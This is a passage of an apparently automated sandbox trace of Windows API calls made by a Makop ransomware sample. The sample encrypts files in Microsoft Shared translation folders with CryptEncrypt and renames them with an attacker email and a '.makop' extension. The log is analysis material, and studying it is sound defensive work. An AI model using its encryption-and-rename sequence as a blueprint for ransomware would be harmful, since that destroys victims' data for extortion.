lpBuffer=0x48bbfe8*, lpNumberOfBytesWritten=0x6576028*=0x40, lpOverlapped=0x0) returned 1 [0101.175] WriteFile (in: hFile=0x138, lpBuffer=0x6576030*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x6576028, lpOverlapped=0x0 | out: lpBuffer=0x6576030*, lpNumberOfBytesWritten=0x6576028*=0x4, lpOverlapped=0x0) returned 1 [0101.175] WriteFile (in: hFile=0x138, lpBuffer=0x48bdf90*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x6576028, lpOverlapped=0x0 | out: lpBuffer=0x48bdf90*, lpNumberOfBytesWritten=0x6576028*=0x10, lpOverlapped=0x0) returned 1 [0101.175] WriteFile (in: hFile=0x138, lpBuffer=0x48c3e78*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x6576028, lpOverlapped=0x0 | out: lpBuffer=0x48c3e78*, lpNumberOfBytesWritten=0x6576028*=0x80, lpOverlapped=0x0) returned 1 [0101.175] SetFilePointerEx (in: hFile=0x138, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x6576050 | out: lpNewFilePointer=0x0) returned 1 [0101.175] WriteFile (in: hFile=0x138, lpBuffer=0x6576040*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x6576028, lpOverlapped=0x0 | out: lpBuffer=0x6576040*, lpNumberOfBytesWritten=0x6576028*=0x8, lpOverlapped=0x0) returned 1 [0101.176] CryptImportKey (in: hProv=0x48bcc28, pbData=0x48c3690, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x657602c | out: phKey=0x657602c*=0x48c7168) returned 1 [0101.176] CryptSetKeyParam (hKey=0x48c7168, dwParam=0x1, pbData=0x48bdf90, dwFlags=0x0) returned 1 [0101.176] SetFilePointerEx (in: hFile=0x138, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0101.176] ReadFile (in: hFile=0x138, lpBuffer=0x6370020, nNumberOfBytesToRead=0xff7f2, lpNumberOfBytesRead=0x6576034, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesRead=0x6576034*=0xff7f2, lpOverlapped=0x0) returned 1 [0101.204] CryptEncrypt (in: hKey=0x48c7168, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x6370020*, pdwDataLen=0x6576010*=0xff800, dwBufLen=0xff800 | out: pbData=0x6370020*, pdwDataLen=0x6576010*=0xff800) returned 1 [0101.215] SetFilePointerEx (in: hFile=0x138, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0101.215] WriteFile (in: hFile=0x138, lpBuffer=0x6370020*, nNumberOfBytesToWrite=0xff800, lpNumberOfBytesWritten=0x6576028, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesWritten=0x6576028*=0xff800, lpOverlapped=0x0) returned 1 [0101.223] CryptDestroyKey (hKey=0x48c7168) returned 1 [0101.223] SetFilePointerEx (in: hFile=0x138, liDistanceToMove=0xff8d4, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0101.223] SetEndOfFile (hFile=0x138) returned 1 [0101.235] GetProcessHeap () returned 0x48a0000 [0101.235] HeapFree (in: hHeap=0x48a0000, dwFlags=0x0, lpMem=0x48bbfe8 | out: hHeap=0x48a0000) returned 1 [0101.235] GetProcessHeap () returned 0x48a0000 [0101.235] HeapFree (in: hHeap=0x48a0000, dwFlags=0x0, lpMem=0x48bdf90 | out: hHeap=0x48a0000) returned 1 [0101.235] wsprintfW (in: param_1=0x48c4f5c, param_2="%s.[%08X].[%s].%s" | out: param_1="C:\\Program Files\\Common Files\\Microsoft Shared\\TRANSLAT\\ESEN\\MSB1ESEN.ITS.[4B2E4630].[helpdesk_makp@protonmail.ch].makop") returned 120 [0101.235] MoveFileW (lpExistingFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\TRANSLAT\\ESEN\\MSB1ESEN.ITS" (normalized: "c:\\program files\\common files\\microsoft shared\\translat\\esen\\msb1esen.its"), lpNewFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\TRANSLAT\\ESEN\\MSB1ESEN.ITS.[4B2E4630].[helpdesk_makp@protonmail.ch].makop" (normalized: "c:\\program files\\common files\\microsoft shared\\translat\\esen\\msb1esen.its.[4b2e4630].[helpdesk_makp@protonmail.ch].makop")) returned 1 [0101.244] CloseHandle (hObject=0x138) returned 1 [0101.245] FindNextFileW (in: hFindFile=0x48c7128, lpFindFileData=0x65760a0 | out: lpFindFileData=0x65760a0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc8c79400, ftCreationTime.dwHighDateTime=0x1be6f42, ftLastAccessTime.dwLowDateTime=0x5ba5ff0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xc8c79400, ftLastWriteTime.dwHighDateTime=0x1be6f42, nFileSizeHigh=0x0, nFileSizeLow=0xa5c00, dwReserved0=0x0, dwReserved1=0x0, cFileName="WT61ES.LEX", cAlternateFileName="")) returned 1 [0101.245] wsprintfW (in: param_1=0x6576af0, param_2="%s\\%s" | out: param_1="C:\\Program Files\\Common Files\\Microsoft Shared\\TRANSLAT\\ESEN\\WT61ES.LEX") returned 71 [0101.245] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\TRANSLAT\\ESEN\\WT61ES.LEX" (normalized: "c:\\program files\\common files\\microsoft shared\\translat\\esen\\wt61es.lex"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x138 [0101.245] GetProcessHeap () returned 0x48a0000 [0101.245] RtlAllocateHeap (HeapHandle=0x48a0000, Flags=0x0, Size=0x10) returned 0x48bdf90 [0101.246] CryptGenRandom (in: hProv=0x48bcc28, dwLen=0x10, pbBuffer=0x48bdf90 | out: pbBuffer=0x48bdf90) returned 1 [0101.246] SetFilePointerEx (in: hFile=0x138, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x6576048 | out: lpNewFilePointer=0x0) returned 1 [0101.246] CryptImportKey (in: hProv=0x48bcc28, pbData=0x48c3818, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x657602c | out: phKey=0x657602c*=0x48c7168) returned 1 [0101.246] CryptSetKeyParam (hKey=0x48c7168, dwParam=0x1, pbData=0x48bdf90, dwFlags=0x0) returned 1 [0101.246] GetProcessHeap () returned 0x48a0000 [0101.246] RtlAllocateHeap (HeapHandle=0x48a0000, Flags=0x0, Size=0x30) returned 0x48c3738 [0101.246] CryptEncrypt (in: hKey=0x48c7168, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x48c3738*, pdwDataLen=0x6576010*=0x30, dwBufLen=0x30 | out: pbData=0x48c3738*, pdwDataLen=0x6576010*=0x30) returned 1 [0101.246] CryptDestroyKey (hKey=0x48c7168) returned 1 [0101.246] WriteFile (in: hFile=0x138, lpBuffer=0x48c3738*, nNumberOfBytesToWrite=0x30, lpNumberOfBytesWritten=0x6576028, lpOverlapped=0x0 | out: lpBuffer=0x48c3738*, lpNumberOfBytesWritten=0x6576028*=0x30, lpOverlapped=0x0) returned 1 [0101.265] WriteFile (in: hFile=0x138, lpBuffer=0x6576030*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x6576028, lpOverlapped=0x0 | out: lpBuffer=0x6576030*, lpNumberOfBytesWritten=0x6576028*=0x4, lpOverlapped=0x0) returned 1 [0101.265] WriteFile (in: hFile=0x138, lpBuffer=0x48bdf90*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x6576028, lpOverlapped=0x0 | out: lpBuffer=0x48bdf90*, lpNumberOfBytesWritten=0x6576028*=0x10, lpOverlapped=0x0) returned 1 [0101.265] WriteFile (in: hFile=0x138, lpBuffer=0x48c0640*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x6576028, lpOverlapped=0x0 | out: lpBuffer=0x48c0640*, lpNumberOfBytesWritten=0x6576028*=0x80, lpOverlapped=0x0) returned 1 [0101.266] SetFilePointerEx (in: hFile=0x138, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x6576050 | out: lpNewFilePointer=0x0) returned 1 [0101.266] WriteFile (in: hFile=0x138, lpBuffer=0x6576040*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x6576028, lpOverlapped=0x0 | out: lpBuffer=0x6576040*, lpNumberOfBytesWritten=0x6576028*=0x8, lpOverlapped=0x0) returned 1 [0101.266] CryptImportKey (in: hProv=0x48bcc28, pbData=0x48c3818, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x657602c | out: phKey=0x657602c*=0x48c7168) returned 1 [0101.266] CryptSetKeyParam (hKey=0x48c7168, dwParam=0x1, pbData=0x48bdf90, dwFlags=0x0) returned 1 [0101.266] SetFilePointerEx (in: hFile=0x138, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0101.266] ReadFile (in: hFile=0x138, lpBuffer=0x6370020, nNumberOfBytesToRead=0xa5c00, lpNumberOfBytesRead=0x6576034, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesRead=0x6576034*=0xa5c00, lpOverlapped=0x0) returned 1 [0101.287] CryptEncrypt (in: hKey=0x48c7168, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x6370020*, pdwDataLen=0x6576010*=0xa5c00, dwBufLen=0xa5c00 | out: pbData=0x6370020*, pdwDataLen=0x6576010*=0xa5c00) returned 1 [0101.294] SetFilePointerEx (in: hFile=0x138, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0101.294] WriteFile (in: hFile=0x138, lpBuffer=0x6370020*, nNumberOfBytesToWrite=0xa5c00, lpNumberOfBytesWritten=0x6576028, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesWritten=0x6576028*=0xa5c00, lpOverlapped=0x0) returned 1 [0101.299] CryptDestroyKey (hKey=0x48c7168) returned 1 [0101.299] SetFilePointerEx (in: hFile=0x138, liDistanceToMove=0xa5cc4, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0101.299] SetEndOfFile (hFile=0x138) returned 1 [0101.309] GetProcessHeap () returned 0x48a0000 [0101.309] HeapFree (in: hHeap=0x48a0000, dwFlags=0x0, lpMem=0x48c3738 | out: hHeap=0x48a0000) returned 1 [0101.309] GetProcessHeap () returned 0x48a0000 [0101.309] HeapFree (in: hHeap=0x48a0000, dwFlags=0x0, lpMem=0x48bdf90 | out: hHeap=0x48a0000) returned 1 [0101.309] wsprintfW (in: param_1=0x48c4f5c, param_2="%s.[%08X].[%s].%s" | out: param_1="C:\\Program Files\\Common Files\\Microsoft Shared\\TRANSLAT\\ESEN\\WT61ES.LEX.[4B2E4630].[helpdesk_makp@protonmail.ch].makop") returned 118 [0101.309] MoveFileW (lpExistingFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\TRANSLAT\\ESEN\\WT61ES.LEX" (normalized: "c:\\program files\\common files\\microsoft shared\\translat\\esen\\wt61es.lex"), lpNewFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\TRANSLAT\\ESEN\\WT61ES.LEX.[4B2E4630].[helpdesk_makp@protonmail.ch].makop" (normalized: "c:\\program files\\common files\\microsoft shared\\translat\\esen\\wt61es.lex.[4b2e4630].[helpdesk_makp@protonmail.ch].makop")) returned 1 [0101.310] CloseHandle (hObject=0x138) returned 1 [0101.311] FindNextFileW (in: hFindFile=0x48c7128, lpFindFileData=0x65760a0 | out: lpFindFileData=0x65760a0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc8c79400, ftCreationTime.dwHighDateTime=0x1be6f42, ftLastAccessTime.dwLowDateTime=0x5ba5ff0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xc8c79400, ftLastWriteTime.dwHighDateTime=0x1be6f42, nFileSizeHigh=0x0, nFileSizeLow=0xa5c00, dwReserved0=0x0, dwReserved1=0x0, cFileName="WT61ES.LEX", cAlternateFileName="")) returned 0 [0101.311] FindClose (in: hFindFile=0x48c7128 | out: hFindFile=0x48c7128) returned 1 [0101.311] FindNextFileW (in: hFindFile=0x48c70e8, lpFindFileData=0x6577b20 | out: lpFindFileData=0x6577b20*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7562dd0, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x7562dd0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x7562dd0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="FRAR", cAlternateFileName="")) returned 1 [0101.311] wsprintfW (in: param_1=0x6578d70, param_2="%s\\%s" | out: param_1="C:\\Program Files\\Common Files\\Microsoft Shared\\TRANSLAT\\FRAR") returned 60 [0101.311] wsprintfW (in: param_1=0x65762f0, param_2="%s\\*.*" | out: param_1="C:\\Program Files\\Common Files\\Microsoft Shared\\TRANSLAT\\FRAR\\*.*") returned 64 [0101.311] FindFirstFileW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\TRANSLAT\\FRAR\\*.*", lpFindFileData=0x65760a0 | out: lpFindFileData=0x65760a0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7562dd0, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x7562dd0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x7562dd0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x48c7128 [0101.313] FindNextFileW (in: hFindFile=0x48c7128, lpFindFileData=0x65760a0 | out: lpFindFileData=0x65760a0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7562dd0, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x7562dd0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x7562dd0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0101.313] FindNextFileW (in: hFindFile=0x48c7128, lpFindFileData=0x65760a0 | out: lpFindFileData=0x65760a0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x21282c00, ftCreationTime.dwHighDateTime=0x1c6e3e3, ftLastAccessTime.dwLowDateTime=0x7588f30, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x21282c00, ftLastWriteTime.dwHighDateTime=0x1c6e3e3, nFileSizeHigh=0x0, nFileSizeLow=0x166bae, dwReserved0=0x0, dwReserved1=0x0, cFileName="MSB1FRAR.ITS", cAlternateFileName="")) returned 1 [0101.313] wsprintfW (in: param_1=0x6576af0, param_2="%s\\%s" | out: param_1="C:\\Program Files\\Common Files\\Microsoft Shared\\TRANSLAT\\FRAR\\MSB1FRAR.ITS") returned 73 [0101.313] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\TRANSLAT\\FRAR\\MSB1FRAR.ITS" (normalized: "c:\\program files\\common files\\microsoft shared\\translat\\frar\\msb1frar.its"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x138 [0101.314] GetProcessHeap () returned 0x48a0000 [0101.314] RtlAllocateHeap (HeapHandle=0x48a0000, Flags=0x0, Size=0x10) returned 0x48bdf90 [0101.314] CryptGenRandom (in: hProv=0x48bcc28, dwLen=0x10, pbBuffer=0x48bdf90 | out: pbBuffer=0x48bdf90) returned 1 [0101.314] SetFilePointerEx (in: hFile=0x138, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x6576048 | out: lpNewFilePointer=0x0) returned 1 [0101.314] WriteFile (in: hFile=0x138, lpBuffer=0x6576058*, nNumberOfBytesToWrite=0x2, lpNumberOfBytesWritten=0x6576028, lpOverlapped=0x0 | out: lpBuffer=0x6576058*, lpNumberOfBytesWritten=0x6576028*=0x2, lpOverlapped=0x0) returned 1 [0101.318] CryptImportKey (in: hProv=0x48bcc28, pbData=0x48c3690, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x657602c | out: phKey=0x657602c*=0x48c7168) returned 1 [0101.319] CryptSetKeyParam (hKey=0x48c7168, dwParam=0x1, pbData=0x48bdf90, dwFlags=0x0) returned 1 [0101.319] GetProcessHeap () returned 0x48a0000 [0101.319] RtlAllocateHeap (HeapHandle=0x48a0000, Flags=0x0, Size=0x40) returned 0x48bbfe8 [0101.319] CryptEncrypt (in: hKey=0x48c7168, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x48bbfe8*, pdwDataLen=0x6576010*=0x40, dwBufLen=0x40 | out: pbData=0x48bbfe8*, pdwDataLen=0x6576010*=0x40) returned 1 [0101.319] CryptDestroyKey (hKey=0x48c7168) returned 1 [0101.319] WriteFile (in: hFile=0x138, lpBuffer=0x48bbfe8*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x6576028, lpOverlapped=0x0 | out: lpBuffer=0x48bbfe8*, lpNumberOfBytesWritten=0x6576028*=0x40, lpOverlapped=0x0) returned 1 [0101.320] WriteFile (in: hFile=0x138, lpBuffer=0x6576030*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x6576028, lpOverlapped=0x0 | out: lpBuffer=0x6576030*, lpNumberOfBytesWritten=0x6576028*=0x4, lpOverlapped=0x0) returned 1 [0101.320] WriteFile (in: hFile=0x138, lpBuffer=0x48bdf90*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x6576028, lpOverlapped=0x0 | out: lpBuffer=0x48bdf90*, lpNumberOfBytesWritten=0x6576028*=0x10, lpOverlapped=0x0) returned 1 [0101.320] WriteFile (in: hFile=0x138, lpBuffer=0x48c3e78*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x6576028, lpOverlapped=0x0 | out: lpBuffer=0x48c3e78*, lpNumberOfBytesWritten=0x6576028*=0x80, lpOverlapped=0x0) returned 1 [0101.320] SetFilePointerEx (in: hFile=0x138, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x6576050 | out: lpNewFilePointer=0x0) returned 1 [0101.320] WriteFile (in: hFile=0x138, lpBuffer=0x6576040*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x6576028, lpOverlapped=0x0 | out: lpBuffer=0x6576040*, lpNumberOfBytesWritten=0x6576028*=0x8, lpOverlapped=0x0) returned 1 [0101.320] CryptImportKey (in: hProv=0x48bcc28, pbData=0x48c3690, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x657602c | out: phKey=0x657602c*=0x48c7168) returned 1 [0101.321] CryptSetKeyParam (hKey=0x48c7168, dwParam=0x1, pbData=0x48bdf90, dwFlags=0x0) returned 1 [0101.321] SetFilePointerEx (in: hFile=0x138, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0101.321] ReadFile (in: hFile=0x138, lpBuffer=0x6370020, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x6576034, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesRead=0x6576034*=0x100000, lpOverlapped=0x0) returned 1 [0101.357] CryptEncrypt (in: hKey=0x48c7168, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x6370020*, pdwDataLen=0x6576010*=0x100000, dwBufLen=0x100000 | out: pbData=0x6370020*, pdwDataLen=0x6576010*=0x100000) returned 1 [0101.369] SetFilePointerEx (in: hFile=0x138, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0101.369] WriteFile (in: hFile=0x138, lpBuffer=0x6370020*, nNumberOfBytesToWrite=0x100000, lpNumberOfBytesWritten=0x6576028, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesWritten=0x6576028*=0x100000, lpOverlapped=0x0) returned 1 [0101.377] SetFilePointerEx (in: hFile=0x138, liDistanceToMove=0x166c84, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0101.377] WriteFile (in: hFile=0x138, lpBuffer=0x6576040*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x6576028, lpOverlapped=0x0 | out: lpBuffer=0x6576040*, lpNumberOfBytesWritten=0x6576028*=0x8, lpOverlapped=0x0) returned 1 [0101.377] SetFilePointerEx (in: hFile=0x138, liDistanceToMove=0x100000, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0101.377] ReadFile (in: hFile=0x138, lpBuffer=0x6370020, nNumberOfBytesToRead=0x66bae, lpNumberOfBytesRead=0x6576034, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesRead=0x6576034*=0x66bae, lpOverlapped=0x0) returned 1 [0101.406] CryptEncrypt (in: hKey=0x48c7168, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x6370020*, pdwDataLen=0x6576010*=0x66bb0, dwBufLen=0x66bb0 | out: pbData=0x6370020*, pdwDataLen=0x6576010*=0x66bb0) returned 1 [0101.411] SetFilePointerEx (in: hFile=0x138, liDistanceToMove=0x100000, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0101.411] WriteFile (in: hFile=0x138, lpBuffer=0x6370020*, nNumberOfBytesToWrite=0x66bb0, lpNumberOfBytesWritten=0x6576028, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesWritten=0x6576028*=0x66bb0, lpOverlapped=0x0) returned 1 [0101.415] CryptDestroyKey (hKey=0x48c7168) returned 1 [0101.415] SetFilePointerEx (in: hFile=0x138, liDistanceToMove=0x166c84, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0101.415] SetEndOfFile (hFile=0x138) returned 1 [0101.424] GetProcessHeap () returned 0x48a0000 [0101.424] HeapFree (in: hHeap=0x48a0000, dwFlags=0x0, lpMem=0x48bbfe8 | out: hHeap=0x48a0000) returned 1 [0101.424] GetProcessHeap () returned 0x48a0000 [0101.424] HeapFree (in: hHeap=0x48a0000, dwFlags=0x0, lpMem=0x48bdf90 | out: hHeap=0x48a0000) returned 1 [0101.424] wsprintfW (in: param_1=0x48c4f5c, param_2="%s.[%08X].[%s].%s" | out: param_1="C:\\Program Files\\Common Files\\Microsoft Shared\\TRANSLAT\\FRAR\\MSB1FRAR.ITS.[4B2E4630].[helpdesk_makp@protonmail.ch].makop") returned 120 [0101.424] MoveFileW (lpExistingFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\TRANSLAT\\FRAR\\MSB1FRAR.ITS" (normalized: "c:\\program files\\common files\\microsoft shared\\translat\\frar\\msb1frar.its"), lpNewFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\TRANSLAT\\FRAR\\MSB1FRAR.ITS.[4B2E4630].[helpdesk_makp@protonmail.ch].makop" (normalized: "c:\\program files\\common files\\microsoft shared\\translat\\frar\\msb1frar.its.[4b2e4630].[helpdesk_makp@protonmail.ch].makop")) returned 1 [0101.426] CloseHandle (hObject=0x138) returned 1 [0101.426] FindNextFileW (in: hFindFile=0x48c7128, lpFindFileData=0x65760a0 | out: lpFindFileData=0x65760a0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x21282c00, ftCreationTime.dwHighDateTime=0x1c6e3e3, ftLastAccessTime.dwLowDateTime=0x7588f30, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x21282c00, ftLastWriteTime.dwHighDateTime=0x1c6e3e3, nFileSizeHigh=0x0, nFileSizeLow=0x166bae, dwReserved0=0x0, dwReserved1=0x0, cFileName="MSB1FRAR.ITS", cAlternateFileName="")) returned 0 [0101.426] FindClose (in: hFindFile=0x48c7128 | out: hFindFile=0x48c7128) returned 1 [0101.427] FindNextFileW (in: hFindFile=0x48c70e8, lpFindFileData=0x6577b20 | out: lpFindFileData=0x6577b20*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7516b10, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x7941190, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x7941190, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="FREN", cAlternateFileName="")) returned 1 [0101.427] wsprintfW (in: param_1=0x6578d70, param_2="%s\\%s" | out: param_1="C:\\Program Files\\Common Files\\Microsoft Shared\\TRANSLAT\\FREN") returned 60 [0101.427] wsprintfW (in: param_1=0x65762f0, param_2="%s\\*.*" | out: param_1="C:\\Program Files\\Common Files\\Microsoft Shared\\TRANSLAT\\FREN\\*.*") returned 64 [0101.427] FindFirstFileW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\TRANSLAT\\FREN\\*.*", lpFindFileData=0x65760a0 | out: lpFindFileData=0x65760a0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7516b10, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x7941190, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x7941190, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x48c7128 [0101.429] FindNextFileW (in: hFindFile=0x48c7128, lpFindFileData=0x65760a0 | out: lpFindFileData=0x65760a0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7516b10, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x7941190, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x7941190, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0101.429] FindNextFileW (in: hFindFile=0x48c7128, lpFindFileData=0x65760a0 | out: lpFindFileData=0x65760a0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xbb22e200, ftCreationTime.dwHighDateTime=0x1c82168, ftLastAccessTime.dwLowDateTime=0x753cc70, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xbb22e200, ftLastWriteTime.dwHighDateTime=0x1c82168, nFileSizeHigh=0x0, nFileSizeLow=0x38200, dwReserved0=0x0, dwReserved1=0x0, cFileName="MSB1FREN.DLL", cAlternateFileName="")) returned 1 [0101.430] wsprintfW (in: param_1=0x6576af0, param_2="%s\\%s" | out: param_1="C:\\Program Files\\Common Files\\Microsoft Shared\\TRANSLAT\\FREN\\MSB1FREN.DLL") returned 73 [0101.430] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\TRANSLAT\\FREN\\MSB1FREN.DLL" (normalized: "c:\\program files\\common files\\microsoft shared\\translat\\fren\\msb1fren.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x138 [0101.430] GetProcessHeap () returned 0x48a0000 [0101.430] RtlAllocateHeap (HeapHandle=0x48a0000, Flags=0x0, Size=0x10) returned 0x48bdf90 [0101.430] CryptGenRandom (in: hProv=0x48bcc28, dwLen=0x10, pbBuffer=0x48bdf90 | out: pbBuffer=0x48bdf90) returned 1 [0101.430] SetFilePointerEx (in: hFile=0x138, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x6576048 | out: lpNewFilePointer=0x0) returned 1 [0101.431] CryptImportKey (in: hProv=0x48bcc28, pbData=0x48c3818, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x657602c | out: phKey=0x657602c*=0x48c7168) returned 1 [0101.431] CryptSetKeyParam (hKey=0x48c7168, dwParam=0x1, pbData=0x48bdf90, dwFlags=0x0) returned 1 [0101.431] GetProcessHeap () returned 0x48a0000 [0101.431] RtlAllocateHeap (HeapHandle=0x48a0000, Flags=0x0, Size=0x40) returned 0x48bbfe8 [0101.431] CryptEncrypt (in: hKey=0x48c7168, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x48bbfe8*, pdwDataLen=0x6576010*=0x40, dwBufLen=0x40 | out: pbData=0x48bbfe8*, pdwDataLen=0x6576010*=0x40) returned 1 [0101.431] CryptDestroyKey (hKey=0x48c7168) returned 1 [0101.431] WriteFile (in: hFile=0x138, 